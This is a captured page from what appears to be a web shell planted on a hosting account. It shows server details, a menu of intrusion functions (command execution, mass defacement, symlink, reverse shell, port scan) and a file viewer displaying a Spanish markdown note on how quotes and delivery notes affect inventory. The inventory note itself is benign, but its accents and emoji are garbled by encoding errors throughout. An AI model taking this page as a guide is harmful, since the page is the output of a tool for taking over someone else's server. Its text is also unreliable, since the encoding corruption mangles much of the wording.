Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
Viewing: LOGICA_INVENTARIO.md
# π LΓGICA DE COTIZACIONES Y REMISIONES FRENTE AL INVENTARIO ## π― RESUMEN EJECUTIVO Este documento explica cΓ³mo funcionan las **Cotizaciones** y **Remisiones** en relaciΓ³n al **inventario** del sistema, detallando cuΓ‘ndo y cΓ³mo se afecta el stock de productos. --- ## π COTIZACIONES Y INVENTARIO ### β **LAS COTIZACIONES NO AFECTAN EL INVENTARIO** ``` COTIZACIΓN β NO IMPACTA STOCK ``` #### π **Razones:** - **Son propuestas comerciales** - No compromisos firmes - **Pueden ser rechazadas** - El cliente puede no aceptar - **Pueden vencer** - Tienen fecha de vencimiento - **Son estimaciones** - Precios y disponibilidad pueden cambiar #### π **Estados de CotizaciΓ³n:** ``` βββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββ β ESTADO β DESCRIPCIΓN β IMPACTO STOCK β βββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββ€ β Pendiente β Esperando resp. β NINGUNO β β Aprobada β Cliente acepta β NINGUNO β β Rechazada β Cliente rechaza β NINGUNO β β Vencida β Tiempo agotado β NINGUNO β β Convertida β Se hizo venta β NINGUNO* β βββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββ ``` *El impacto al stock ocurre en la VENTA, no en la cotizaciΓ³n. #### π **Flujo de CotizaciΓ³n:** ``` 1. CREAR COTIZACIΓN βββ Seleccionar productos βββ Definir cantidades βββ Calcular precios βββ β NO afectar stock 2. APROBAR/RECHAZAR βββ Cliente decide βββ β NO afectar stock 3. CONVERTIR A VENTA (opcional) βββ Crear nueva venta βββ β AQUΓ SΓ se afecta stock βββ Marcar cotizaciΓ³n como convertida ``` --- ## π REMISIONES Y INVENTARIO ### β **LAS REMISIONES SΓ AFECTAN EL INVENTARIO** ``` REMISIΓN β IMPACTA STOCK INMEDIATAMENTE ``` #### π **Razones:** - **Compromiso de entrega** - Productos reservados para cliente - **Control de salidas** - Seguimiento de mercancΓa - **GestiΓ³n logΓstica** - Productos en trΓ‘nsito - **Responsabilidad legal** - Documento oficial de entrega #### π **Tipos de RemisiΓ³n e Impacto:** ``` βββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββ¬ββββββββββββββββββ β TIPO β DESCRIPCIΓN β IMPACTO STOCK β MOMENTO β βββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββΌββββββββββββββββββ€ β Venta β Entrega vendida β β¬οΈ RESTA β Al crear β β Traslado β Cambio ubicaciΓ³n β β¬οΈ RESTA β Al crear β β Muestra β Producto gratis β β¬οΈ RESTA β Al crear β β DevoluciΓ³n β Cliente devuelve β β¬οΈ SUMA β Al crear β βββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββ΄ββββββββββββββββββ ``` #### π **Estados de RemisiΓ³n e Inventario:** ``` βββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββ¬ββββββββββββββββββ β ESTADO β DESCRIPCIΓN β IMPACTO STOCK β ACCIΓN β βββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββΌββββββββββββββββββ€ β Pendiente β Creada, no sale β β¬οΈ YA RESTADO β Stock reservado β β En TrΓ‘nsito β Productos salen β β¬οΈ YA RESTADO β Mantiene β β Entregada β Cliente recibe β β¬οΈ YA RESTADO β Mantiene β β Devuelta β Regresa producto β β¬οΈ SUMA β Restaura stock β β Cancelada β Se cancela β β¬οΈ SUMA β Restaura stock β βββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββ΄ββββββββββββββββββ ``` --- ## π FLUJOS DETALLADOS ### π **Flujo: CotizaciΓ³n β Venta β RemisiΓ³n** ``` 1. COTIZACIΓN (Stock: Sin cambios) βββ Cliente solicita cotizaciΓ³n βββ Se verifica disponibilidad actual βββ Se calcula precio βββ β Stock NO se afecta 2. VENTA (Stock: -Cantidad) βββ Cliente acepta cotizaciΓ³n βββ Se crea venta desde cotizaciΓ³n βββ β Stock SE REDUCE βββ Se marca cotizaciΓ³n como convertida 3. REMISIΓN (Stock: Ya afectado en venta) βββ Se crea remisiΓ³n desde venta βββ β Stock NO se afecta (ya se redujo) βββ Se controla entrega fΓsica ``` ### π **Flujo: RemisiΓ³n Directa** ``` 1. CREAR REMISIΓN DIRECTA (Stock: -Cantidad) βββ Seleccionar productos βββ Definir cantidades βββ β Stock SE REDUCE inmediatamente βββ Productos quedan reservados 2. CAMBIAR ESTADO βββ Pendiente β En TrΓ‘nsito: Sin cambio βββ En TrΓ‘nsito β Entregada: Sin cambio βββ Cualquier β Devuelta: β Stock SE SUMA βββ Cualquier β Cancelada: β Stock SE SUMA ``` --- ## ποΈ CONTROLES DE INVENTARIO ### β **Validaciones Implementadas:** #### π **En Cotizaciones:** ```php // Al crear cotizaciΓ³n - Solo verificar disponibilidad if ($producto->stock < $cantidad_solicitada) { // β οΈ Advertencia: Stock insuficiente // β Permitir crear cotizaciΓ³n igual } ``` #### π **En Remisiones:** ```php // Al crear remisiΓ³n - Validar stock obligatorio if ($producto->stock < $cantidad_solicitada) { // β Error: No se puede crear remisiΓ³n // β Bloquear operaciΓ³n } // Al crear - Reducir stock $producto->decrement('stock', $cantidad); // Al cancelar/devolver - Restaurar stock $producto->increment('stock', $cantidad); ``` ### π **Control de Entregas Parciales:** ```php // DetalleRemision tiene control granular: - cantidad: Total a entregar - cantidad_entregada: Ya entregada - cantidad_devuelta: Devuelta por cliente - cantidadPendiente(): Falta por entregar ``` --- ## π§ MΓTODOS CLAVE IMPLEMENTADOS ### π **Modelo Cotizacion:** ```php // β NO tiene mΓ©todos de stock // Solo cΓ‘lculos de totales y validaciones de negocio ``` ### π **Modelo Remision:** ```php public function actualizarStock($operacion = 'restar') { foreach ($this->detalles as $detalle) { if ($operacion === 'restar') { $producto->decrement('stock', $detalle->cantidad); } elseif ($operacion === 'sumar') { $producto->increment('stock', $detalle->cantidad); } } } ``` ### π¦ **Modelo DetalleRemision:** ```php public function registrarEntrega(float $cantidad): bool { // Controla entregas parciales sin afectar stock // (El stock ya se redujo al crear la remisiΓ³n) } public function registrarDevolucion(float $cantidad): bool { // Devuelve al stock solo lo que se devuelve $this->producto->increment('stock', $cantidad); } ``` --- ## π CASOS DE USO PRΓCTICOS ### π― **Caso 1: CotizaciΓ³n Normal** ``` Stock inicial: 100 unidades 1. Cliente pide cotizaciΓ³n de 50 β Stock: 100 (sin cambio) 2. Se envΓa cotizaciΓ³n β Stock: 100 (sin cambio) 3. Cliente acepta β Se crea venta β Stock: 50 β 4. Se crea remisiΓ³n β Stock: 50 (sin cambio adicional) ``` ### π― **Caso 2: RemisiΓ³n Directa** ``` Stock inicial: 100 unidades 1. Se crea remisiΓ³n directa de 30 β Stock: 70 β 2. Estado: Pendiente β Stock: 70 3. Estado: En TrΓ‘nsito β Stock: 70 4. Estado: Entregada β Stock: 70 ``` ### π― **Caso 3: DevoluciΓ³n** ``` Stock despuΓ©s de remisiΓ³n: 70 unidades 1. Cliente devuelve 10 unidades 2. Se registra devoluciΓ³n β Stock: 80 β 3. Se actualiza estado a "Devuelta" ``` ### π― **Caso 4: CancelaciΓ³n** ``` Stock despuΓ©s de remisiΓ³n: 70 unidades 1. Se cancela remisiΓ³n completa 2. Se restaura stock β Stock: 100 β 3. Estado cambia a "Cancelada" ``` --- ## β οΈ CONSIDERACIONES IMPORTANTES ### π¨ **Alertas de Stock:** - **Cotizaciones:** Mostrar advertencia si stock < cantidad - **Remisiones:** Bloquear si stock < cantidad - **Entregas:** Permitir entregas parciales - **Devoluciones:** Validar que no exceda lo entregado ### π **Integridad de Datos:** - Usar **transacciones DB** para operaciones crΓticas - **Logs de auditorΓa** para cambios de stock - **Validaciones en tiempo real** antes de confirmar - **Rollback automΓ‘tico** en caso de errores ### π **Reportes Sugeridos:** - Stock reservado por remisiones pendientes - Productos en trΓ‘nsito por cliente - HistΓ³rico de movimientos por producto - AnΓ‘lisis de devoluciones por perΓodo --- ## π― RESUMEN FINAL | **MΓDULO** | **IMPACTO STOCK** | **MOMENTO** | **REVERSIBLE** | |---------------|-------------------|--------------------|----------------| | **CotizaciΓ³n** | β NO | Nunca | N/A | | **Venta** | β SΓ (-Stock) | Al crear/confirmar | β NO | | **RemisiΓ³n** | β SΓ (-Stock) | Al crear | β SΓ | ### πͺ **FilosofΓa del Sistema:** - **Cotizaciones = IntenciΓ³n** β No comprometen inventario - **Ventas = Compromiso** β Reducen inventario definitivamente - **Remisiones = EjecuciΓ³n** β Controlan la entrega fΓsica **Β‘El sistema mantiene la integridad del inventario mientras permite flexibilidad comercial!** π
Coded With 💗 by
0x6ick